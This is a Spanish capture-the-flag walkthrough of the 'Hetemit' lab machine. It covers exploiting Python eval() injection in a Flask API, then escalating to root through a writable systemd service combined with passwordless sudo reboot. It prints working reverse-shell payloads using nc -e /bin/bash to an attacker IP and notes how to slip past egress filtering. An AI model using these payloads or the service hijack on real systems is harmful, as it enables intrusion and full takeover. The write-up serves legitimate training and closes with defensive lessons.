the_open_door
café
ESEN

Hetemit

Proving Grounds PracticeMediaLinux192.168.234.117

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#rest-api#flask#eval-injection#rce#systemd#writable-service#sudo-reboot#oscp
TL;DR. Hetemit expone, entre otros servicios, una API REST en Flask en el puerto 50000 con dos rutas: /generate y /verify. La de verificación pasa el parámetro code por un eval() de Python (inyección por eval()): 7*7 devuelve 49 y os.system('...') ejecuta comandos, lo que da RCE como cmeeks. Ya dentro, sudo -l permite reboot sin contraseña y el servicio /etc/systemd/system/pythonapp.service es escribible; reescribimos su ExecStart para que corra como root y forzamos el reinicio (servicio systemd escribible): al levantar, la reverse shell cae como root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

ping -c 1 192.168.234.117
64 bytes from 192.168.234.117: icmp_seq=1 ttl=61 time=29.6 ms

Barremos todos los puertos TCP y, sobre los abiertos, identificamos versiones:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.234.117
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
139/tcp   open  netbios-ssn
445/tcp   open  netbios-ssn
18000/tcp open  biimenu
50000/tcp open  http
nmap -p21,22,80,139,445,18000,50000 -sCV 192.168.234.117 -oN targetedScan
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 3.0.3
22/tcp    open  ssh         OpenSSH 8.0 (protocol 2.0)
80/tcp    open  http        Apache httpd 2.4.37 ((centos))
139/tcp   open  netbios-ssn Samba smbd 4
445/tcp   open  netbios-ssn Samba smbd 4
18000/tcp open  biimenu?    (Ruby on Rails: "Action Controller: Exception caught")
50000/tcp open  http        Werkzeug httpd 1.0.1 (Python 3.6.8)

Hay mucha superficie: FTP anónimo, Samba, un Apache de CentOS, algo en Ruby on Rails (18000) y, lo más prometedor, un Werkzeug/Flask en el 50000. Un servidor de desarrollo de Python expuesto suele esconder una API escrita a mano, que es justo donde aparecen los eval() peligrosos.

API REST - TCP 50000

Pedimos la raíz y la propia aplicación nos lista sus rutas: /generate y /verify. Vamos descubriendo qué espera cada una preguntando sin parámetros:

curl http://192.168.234.117:50000
curl http://192.168.234.117:50000/generate
curl http://192.168.234.117:50000/verify
{'/generate', '/verify'}
{'email@domain'}
{'code'}

/generate recibe un email y devuelve un token; /verify recibe un code. Probamos el flujo previsto:

curl http://192.168.234.117:50000/generate -d 'email=test@test.com'
curl http://192.168.234.117:50000/verify -d 'code=f660ab912ec121d1b1e928a0bb4bc61b15f5ad44d5efdc4e1c92a25e99b8e44a'
f660ab912ec121d1b1e928a0bb4bc61b15f5ad44d5efdc4e1c92a25e99b8e44a
500 Internal Server Error

El token no validado revienta el servidor con un 500. Que un valor inesperado en code provoque una excepción de servidor (en vez de un simple "código incorrecto") sugiere que ese parámetro se procesa, no solo se compara.

Shell como cmeeks

eval() de Python en /verify: RCE

Para saber cómo se procesa el code, lanzamos las dos pruebas canónicas de inyección de plantilla y de evaluación. La diferencia entre ambas es la pista clave:

curl http://192.168.234.117:50000/verify -d 'code={{7*7}}'
curl http://192.168.234.117:50000/verify -d 'code=7*7'
{{7*7}}  ->  500 Internal Server Error
7*7      ->  49

{{7*7}} falla (no es una plantilla Jinja), pero 7*7 se evalúa a 49: el servidor está pasando el parámetro por un eval() de Python (inyección por eval()), no por un motor de plantillas. Eso significa que podemos evaluar cualquier expresión, incluida una que ejecute comandos del sistema:

curl http://192.168.234.117:50000/verify -d 'code=os.system("whoami")'
0

El 0 es el código de retorno de os.system (éxito); la salida del comando no se nos devuelve, así que la ejecución es ciega. No importa: con RCE ciega basta una reverse shell. Como otros puertos altos no retornan por el filtrado de salida, apuntamos al 80 con nc. Dejamos Penelope a la escucha en el 80:

penelope 80

Luego disparamos la reverse shell:

curl http://192.168.234.117:50000/verify -d "code=os.system('nc 192.168.45.227 80 -e /bin/bash')"

Penelope recibe la reverse shell desde hetemit, la promociona a PTY y el prompt es cmeeks@hetemit

[+] Got reverse shell from hetemit~192.168.234.117-Linux-x86_64 😎 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[cmeeks@hetemit restjson_hetemit]$ whoami
cmeeks

La shell entra como cmeeks, el usuario del servicio Flask. Leemos la primera prueba:

cat /home/cmeeks/local.txt && whoami && ip a && hostname

local.txt leido como cmeeks en hetemit, con whoami cmeeks, la IP 192.168.234.117 y hostname hetemit

8acff8f372d9a23ba82e5d9615301ea8

Escalada de privilegios

Servicio systemd escribible + sudo reboot

Lo primero en la nueva shell es revisar qué puede hacer cmeeks con sudo:

sudo -l
User cmeeks may run the following commands on hetemit:
    (root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff

Poder reiniciar la máquina sin contraseña no parece gran cosa por sí solo, pero cobra sentido al buscar ficheros escribibles fuera de las rutas de sistema habituales:

find / -type f -writable 2>/dev/null | grep -vE 'home|var|proc|fs'
/etc/systemd/system/pythonapp.service

El servicio que ejecuta la API es escribible por nuestro usuario. Es justo el patrón de servicio systemd escribible: si controlamos el .service y tenemos forma de reiniciar, controlamos un comando que systemd ejecutará con la identidad que pongamos. Vemos el original:

cat /etc/systemd/system/pythonapp.service
[Service]
Type=simple
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=flask run -h 0.0.0.0 -p 50000
User=cmeeks

Lo reescribimos para que, en lugar de arrancar Flask como cmeeks, lance una reverse shell como root. El retorno apunta al 21, otro puerto de salida permitido:

nano /etc/systemd/system/pythonapp.service
[Service]
Type=simple
ExecStart=nc 192.168.45.227 21 -e /bin/bash
User=root

Con el nc a la escucha en el 21 para la shell de root:

rlwrap nc -nlvp 21

Forzamos el reinicio para que systemd recargue el servicio modificado:

sudo reboot

Al levantar de nuevo, el ExecStart corre como root y la shell cae con privilegios de superusuario (el whoami devuelve root):

Tras sudo reboot, el listener del puerto 21 recibe una shell cuyo whoami devuelve root en hetemit

listening on [any] 21 ...
connect to [192.168.45.227] from (UNKNOWN) [192.168.234.117] 54420
whoami
root

Leemos la prueba final:

cat /root/proof.txt && ip a && whoami && hostname

proof.txt leido como root en hetemit, con whoami root y hostname hetemit

67a99fa595be1d67e96f31368bb50971

Cadena de ataque

API REST en Flask (TCP 50000)
        │  /verify pasa el parametro code por eval()  (7*7 -> 49; {{7*7}} falla)
        │  os.system('nc ... 80 -e /bin/bash')  -> reverse shell al puerto 80
        ▼
shell como cmeeks  (local.txt)
        │  sudo -l: NOPASSWD reboot/halt/poweroff
        │  /etc/systemd/system/pythonapp.service escribible
        │  ExecStart=nc ... 21 -e /bin/bash + User=root  -> sudo reboot
        ▼
shell como root  (proof.txt)

Lecciones aprendidas

  • eval() sobre entrada del usuario es RCE, no una validación. El servidor evaluaba el code como expresión Python; bastó os.system(...) para ejecutar comandos. La diferencia entre {{7*7}} (falla) y 7*7 (devuelve 49) distingue un eval() puro de una inyección de plantilla, y orienta la carga. Para evaluar datos externos hay que usar ast.literal_eval o un parser acotado, nunca eval/exec.
  • RCE ciega sigue siendo RCE. os.system no devolvía la salida, pero una reverse shell no la necesita; confirmar primero la ejecución (un ping o un whoami ciego) evita disparar a ciegas.
  • Un permiso de reinicio + un fichero escribible es escalada a root. Ni sudo reboot ni el .service por separado bastan; juntos, systemd ejecuta como root lo que el usuario escriba. Los .service deben ser de root:root con 644 y no conviene conceder reboot por sudo a cuentas de servicio.
  • El filtrado de salida marca el puerto de retorno. Tanto el foothold como la escalada retornaron por puertos ya abiertos (80 y 21); apuntar ahí sortea el control de egreso que bloquea los puertos altos.
Cheatsheet de comandos 9 comandos

Repaso rápido